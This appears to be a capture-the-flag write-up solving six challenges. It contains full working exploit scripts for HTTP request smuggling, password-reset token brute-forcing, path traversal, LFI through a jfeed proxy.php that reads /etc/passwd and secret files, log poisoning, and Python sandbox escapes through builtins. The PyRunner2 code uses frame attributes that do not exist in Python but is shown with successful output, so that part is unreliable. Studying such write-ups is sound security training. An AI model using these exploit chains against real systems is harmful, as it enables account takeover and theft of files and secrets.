mrGraph

Goal

Leveraging the GraphQL Injection to get the flag in the database.

My Solution

The new intern made a website, there must be vulnerability. Examining sources of available pages, we can find a route that we can take advantage of /api/graphql (visible in /users route).

In order to know all the schemas existed in the database, run this in the Console tab of browser:

fetch('/api/graphql', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({
        query: `
        query {
            __schema {
                types {
                    name
                    fields {
                        name
                    }
                }
            }
        }`,
    }),
})
    .then(response => response.json())
    .then(data => {
        console.log(JSON.stringify(data, null, 2));
    });

Got a really suspicious postPassword field:

{
    "name": "PostType",
    "fields": [
    // ...
    {
        "name": "postPassword"
    },
    {
        "name": "isHidden"
    },
    // ...
    ]
},

Seems like the flag is the value of postPassword field of a post which isHidden.

fetch('/api/graphql', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({
        query: `
        query {
            posts {
                id
                title
                postPassword
                isHidden
                content
            }
        }`,
    }),
})
    .then(response => response.json())
    .then(data => {
        console.log(JSON.stringify(data, null, 2));
    });

Got:

{
    "data": {
        "posts": [
            {
                "id": 2,
                "title": "Advanced GraphQL Patterns",
                "postPassword": null,
                "isHidden": false,
                "content": "Learn about schema design, caching strategies, and optimization techniques for GraphQL APIs. We will cover real-world examples from production systems."
            },
            {
                "id": 1,
                "title": "Getting Started with GraphQL",
                "postPassword": null,
                "isHidden": false,
                "content": "GraphQL is a query language for APIs. It provides a more efficient, powerful and comfortable way to query data than traditional REST APIs. In this post, we will explore the basics of GraphQL."
            },
            {
                "id": 3,
                "title": "API Security Best Practices",
                "postPassword": null,
                "isHidden": false,
                "content": "Implementing proper authentication and authorization in your APIs is crucial. This article covers JWT, OAuth2, and other security mechanisms."
            }
        ]
    }
}

Still cannot get the hidden post, now I try to get the specific post id 4:

fetch('/api/graphql', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({
        query: `
        query {
            post(id: 4) {
                id
                title
                content
                postPassword
                isHidden
            }
        }`,
    }),
})
    .then(response => response.json())
    .then(data => {
        console.log(JSON.stringify(data, null, 2));
    });

Got the flag VSL{y0u_r34lly_kn0w_4b0u7_6r4ph_d0n7_y4}:

{
    "data": {
        "post": {
            "id": 4,
            "title": "Hidden Admin Notes",
            "content": "This post contains confidential information and should not be accessible to regular users. The security of this system depends on keeping this hidden.",
            "postPassword": "VSL{y0u_r34lly_kn0w_4b0u7_6r4ph_d0n7_y4}",
            "isHidden": true
        }
    }
}

CornHub

Goal

Get admin priviledges in order to read 2 flag files in the server.

My Solution

There are 3 steps in order to get the flag content:

#VulnerabilityPurpose
1Request SmugglingTakeover admin account via the forgot password route
2Broken AuthenticationBrute-forcing the password reset token
3Path TraversalReading flag files using environment variable expansion (e.g., $HOME)

Step 1: Account Takeover via Request Smuggling

Admin access is required to read files, but we didn’t have the admin password. However, there is a internal endpoint /auth/forgot_password that we can take advantage of to have the reset password token.

We sent a request to /debug and tell frontend to forward a Content-Length: 6 header to the backend, however, actually we sent a bigger body containing another request to /auth/forgot_password (smuggled request).

The backend read the first 6 bytes (data=1), stopped, and then interpreted the rest of our data as a new request to /auth/forgot_password.

Step 2: Brute-forcing the Reset Token

In auth_service.py, the token is generated by 4 content email, username, dob and timestamp:

timestamp = datetime.datetime.now().strftime("%Y:%m:%d-%H:%M")
base = f"{user['email']}{user['username']}{user['dob']}{timestamp}"
token = hash_sha256(base)

We already knew 3 details from the initial query in db.py:

Username: admin
Email: admin@cornhub.com
DOB: 2005-08-05

The unknown timestamp can be brute-forced. We create SHA256 hashes for every minute within a +/- 14-hour of current time, until the tokens match and we can change the password to whatever we want.

Step 3: Bypassing Filters and Get the Flag

There are several filters from frontend and backend preventing us to read the flag files normally:

The frontend WAF, just check with path /documents so we can use /documents/ to bypass this.

app.use((req, res, next) => {
    // ...

    // THE CHECK
    if (req.path === '/documents' && req.method === 'POST') {
        //
        const requestStr = JSON.stringify(req.body);
        if (requestStr.includes('flag_2.txt')) {
            //
            return res.status(403).json({
                error: 'Access denied - forbidden content detected',
            });
        }
    }

    next();
});

The backend filter:

def filter(file_name: str):
    if ".." in file_name or file_name.startswith("/"):  #
        raise HTTPException(status_code=403, detail="Forbidden character(s)")

However the main logic of search_document still have vulnerability:

def search_document(file_name: str = Form(...)):
    document_dir = "/cornhub"

    try:
        filter(file_name)                                # 1. Check runs first
        normalize_name = os.path.expandvars(file_name)   # 2. Variable expansion happens AFTER check
        file_path = os.path.join(document_dir, normalize_name) # 3. Path joining
        # ...

The bypass payload that we can use: $HOME/flag_1.txt and $HOME/flag_2.txt.

Exploit Code

import requests
import hashlib
import datetime
import json
import time
import sys
import base64

TARGET = "http://124.197.22.141:6336"
ADMIN_USER = "admin"
ADMIN_PASS = "pwned"
ADMIN_DATA = "admin@cornhub.comadmin2005-08-05" # email + user + dob

s = requests.Session()

def smuggle(payload):
    wrapper = "data=1"
    full_data = wrapper + payload
    # tell frontend content-length is 6, but send much more.
    headers = json.dumps({"Content-Length": "6", "Content-Type": "application/x-www-form-urlencoded"})

    try:
        # use a dummy token to bypass simple frontend checks
        s.post(f"{TARGET}/debug", data={"access_token": "dummy", "headers": headers, "data": full_data}, timeout=0.1)
    except:
        pass

def generate_token(ts):
    return hashlib.sha256(f"{ADMIN_DATA}{ts}".encode()).hexdigest()

def main():
    print("[1] Smuggling /auth/forgot_password")
    smuggle(
        "POST /auth/forgot_password HTTP/1.1\r\n"
        "Host: backend\r\n"
        "Content-Type: application/x-www-form-urlencoded\r\n"
        "Content-Length: 23\r\n\r\n"
        "email=admin@cornhub.com"
    )
    time.sleep(2)

    print("[2] Brute-forcing timestamp of the reset token")
    now = datetime.datetime.now(datetime.timezone.utc)
    timestamps = set()
    for h in range(-13, 14):
        for m in [-2, -1, 0, 1, 2]:
            timestamps.add((now + datetime.timedelta(hours=h, minutes=m)).strftime("%Y:%m:%d-%H:%M"))

    valid_token = None
    for i, ts in enumerate(timestamps):
        if i % 10 == 0: print(f"    Trying timestamps... ({i}/{len(timestamps)})", end="\r")

        token = generate_token(ts)
        body = f"username={ADMIN_USER}&token={token}&new_password={ADMIN_PASS}"

        # send update password request with created brute-forced token
        smuggle(
            "POST /auth/update_password HTTP/1.1\r\n"
            "Host: backend\r\n"
            "Content-Type: application/x-www-form-urlencoded\r\n"
            f"Content-Length: {len(body)}\r\n\r\n"
            f"{body}"
        )

        # check if the correct reset token is used to update password
        try:
            res = s.post(f"{TARGET}/login", data={"username": ADMIN_USER, "password": ADMIN_PASS}, timeout=0.5)
            if "access_token" in res.text:
                valid_token = res.json()['access_token']
                print(f"\n[+] password reset. Timestamp: {ts}")
                break
        except:
            pass

        time.sleep(0.01)

    if not valid_token:
        print("\n[-] failed to reset password.")
        sys.exit(1)

    print(f"[3] Retrieving flags")
    # use $HOME, creating an absolute path and bypass the filter
    for filename in ["flag_1.txt", "flag_2.txt"]:
        try:
            # use /documents/ to bypass frontend waf
            r = s.post(f"{TARGET}/documents/", data={
                "file_name": f"$HOME/{filename}",
                "access_token": valid_token
            })
            content = r.json().get('content')
            if content:
                print(f"\n{filename}: {base64.b64decode(content).decode().strip()}")
            else:
                print(f"\n{filename}: Failed ({r.text})")
        except Exception as e:
            print(f"\n{filename}: Error {e}")

if __name__ == "__main__":
    main()

Key Game

Goal

Leveraging vulnerability in libarary of the website and get the flag.

My Solution

Doing some Reconnaissance we can find a library that is installed in Dockerfile but that never used by the website:

RUN apt update && apt install libjs-jquery-jfeed -y

This library is known for a vunerability, which includes an example proxy file proxy.php and this proxy is vulnerable to Local File Inclusion (LFI). Tried visiting http://124.197.22.141:7878/javascript/jquery-jfeed/proxy.php?url=file:///etc/passwd, got:

This page contains the following errors:
error on line 1 at column 1: Start tag expected, '<' not found
Below is a rendering of the page up to the first error.

Although this is an error, but it confirms we can read file, because it set Content-Type: application/xml so the format of /etc/passwd is not valid. Tried this to get the file:

curl "http://124.197.22.141:7878/javascript/jquery-jfeed/proxy.php?url=file:///etc/passwd"

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

From this we can get /var/www/secret_key.txt and /tmp/sess_<MY_SESSION_ID>, then we can loop through 40 steps of the game and get the flag. Expoit script:

import requests
import hashlib
import re

HOST = "http://124.197.22.141:7878"
PROXY_PATH = "/javascript/jquery-jfeed/proxy.php"
SESSION_PATHS = [
    "/tmp/sess_{}",
    "/var/lib/php/sessions/sess_{}",
    "/tmp/php_sessions/sess_{}"
]

def get_file_content(session, file_path):
    try:
        url = f"{HOST}{PROXY_PATH}"
        res = session.get(url, params={'url': f'file://{file_path}'})
        return res.text
    except:
        return ""

def parse_path(session_data):
    try:
        matches = re.findall(r'i:(\d+);i:(\d+);', session_data)
        if not matches: return []
        path_map = {int(k): int(v) for k, v in matches}
        return [path_map[i] for i in range(len(path_map))]
    except:
        return []

def solve():
    s = requests.Session()
    s.get(f"{HOST}/index.php", params={'act': 'respawn'})
    sess_id = s.cookies.get('PHPSESSID')

    if not sess_id:
        print("[-] Error: No Session ID")
        return

    # 1. Steal Secret Key
    key_data = get_file_content(s, "/var/www/secret_key.txt")
    secret_key = key_data.strip().split('\n')[-1]

    if not secret_key:
        print("[-] Error: Could not read secret key")
        return

    # 2. Steal Random Path from Session File
    path_list = []
    for path_template in SESSION_PATHS:
        content = get_file_content(s, path_template.format(sess_id))
        if "path|a:40" in content:
            path_list = parse_path(content)
            break

    if len(path_list) != 40:
        print("[-] Error: Could not find session file or parse path")
        return

    # 3. Auto-play
    for step, side in enumerate(path_list):
        # Calculate Signature
        raw_sig = f"{secret_key}|{step}|{side}"
        signature = hashlib.md5(raw_sig.encode()).hexdigest()

        # Move
        params = {'act': 'move', 'step': step, 'side': side, 'h': signature}
        res = s.get(f"{HOST}/index.php", params=params)

        if "VSL{" in res.text:
            print(f"[SUCCESS] {res.text.split('|')[-1]}")
            return
        elif "You Died" in res.text:
            print("[-] Error: Died unexpectedly.")
            return

if __name__ == "__main__":
    solve()

Trust-Issues

Log Poisoning (to become admin) and HTTP Parameter Pollution (to execute code) and get the flag.

My Solution

Solve script:

import requests
import socket
from urllib.parse import urlparse
import time

TARGET = "http://124.197.22.141:8000"

def poison_log_raw(target_url):
    parsed = urlparse(target_url)
    host = parsed.hostname
    port = parsed.port if parsed.port else 80

    payload = (
        f"GET / HTTP/1.1\r\n"
        f"Host: {host}:{port}\r\n"
        f"Origin: attacker\nuser=admin\r\n"
        f"Connection: close\r\n"
        f"\r\n"
    )

    try:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.connect((host, port))
            s.sendall(payload.encode())
            s.recv(4096)
    except Exception:
        pass

def exploit():
    poison_log_raw(TARGET)

    time.sleep(1)

    s = requests.Session()

    escape_payload = (
        "[c for c in ().__class__.__base__.__subclasses__() "
        "if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['open']('flag.txt').read()"
    )

    params = [
        ('text', '1'),
        ('text', escape_payload)
    ]

    try:
        resp = s.get(f"{TARGET}/calc", params=params)
        if "VSL{" in resp.text:
            print(resp.text.strip())
    except Exception:
        pass

if __name__ == "__main__":
    exploit()

PyRunner

Goal

Bypassing Python sandbox filters and get the flag.

My Solution

Get current and root directory files and folders:

try:
    print("[+] Listing Directory...")
    G = ().__class__.__base__.__subclasses__
    tgt = G()[-2].__init__.__globals__
    builtins = tgt['__buil'+'tins__']
    importer = builtins['__im'+'port__']
    os = importer('os')
    print("Current Dir:", os.listdir('.'))
    print("Root Dir:", os.listdir('/'))

except Exception as e:
    print(f"[-] Error: {e}")

Got flag-16c4977d-be42-4bd6-a229-739e180dc37a.txt:

[+] Listing Directory...

Current Dir: ['a', '__pycache__', 'flag-16c4977d-be42-4bd6-a229-739e180dc37a.txt', 'templates.py', 'app.py', 'sandbox.py', 'requirements.txt']

Root Dir: ['lib64', 'tmp', 'lib', 'sys', 'dev', 'mnt', 'root', 'home', 'usr', 'media', 'etc', 'srv', 'sbin', 'bin', 'boot', 'proc', 'run', 'var', 'opt', 'app', '.dockerenv', 'flag-16c4977d-be42-4bd6-a229-739e180dc37a.txt']

Read flag-16c4977d-be42-4bd6-a229-739e180dc37a.txt:

try:
    G = ().__class__.__base__.__subclasses__
    tgt = G()[-2].__init__.__globals__

    opener = tgt['__buil'+'tins__']['op'+'en']

    flag_content = opener('flag-16c4977d-be42-4bd6-a229-739e180dc37a.txt').read()

    print(f"[!!!] FLAG: {flag_content}")

except Exception as e:
    print(f"Final Error: {e}")

PyRunner2

Goal

Bypassing Python sandbox filters and get the flag.

My Solution

Get current files and folders:

try:
    print("[+] Stack Escape (No f-strings)...")

    raise Exception("Yield")

except Exception as e:
    tb = e.__traceback__
    frm = tb.tb_frame
    prv = frm._back
    sv_g = prv._globals

    b_key = "".join(('__buil', 'tins__'))
    tools = sv_g[b_key]

    i_key = "".join(('__im', 'port__'))

    try:
        imp = tools[i_key]
    except:
        try:
            get_attr = tools.getattr
        except:
            get_attr = tools['getattr']

        imp = get_attr(tools, i_key)

    my_os = imp('os')

    print("Files:", my_os.listdir('.'))

except Exception as e:
    print("Error:", e)

Got suspicious a file:

[+] Stack Escape (No f-strings)...

Files: ['__pycache__', 'a', 'requirements.txt', 'sandbox.py', 'templates.py', 'app.py']

Read a file:

try:
    print("[+] Extracting File 'a' and Scanning Root...")
    raise Exception("Yield")

except Exception as e:

    tb = e.__traceback__
    frm = tb.tb_frame
    prv = frm._back
    sv_g = prv._globals

    b_key = "".join(('__buil', 'tins__'))
    tools = sv_g[b_key]

    i_key = "".join(('__im', 'port__'))
    try:
        imp = tools[i_key]
    except:
        get_attr = tools.getattr
        imp = get_attr(tools, i_key)

    my_os = imp('os')

    try:
        o_key = "".join(('op', 'en'))
        try:
            opener = tools[o_key]
        except:
            opener = tools.open
        print("Content of 'a':", opener('a').read())
    except Exception as e2:
        print("Could not read 'a':", e2)
except Exception as e:
    print("Error:", e)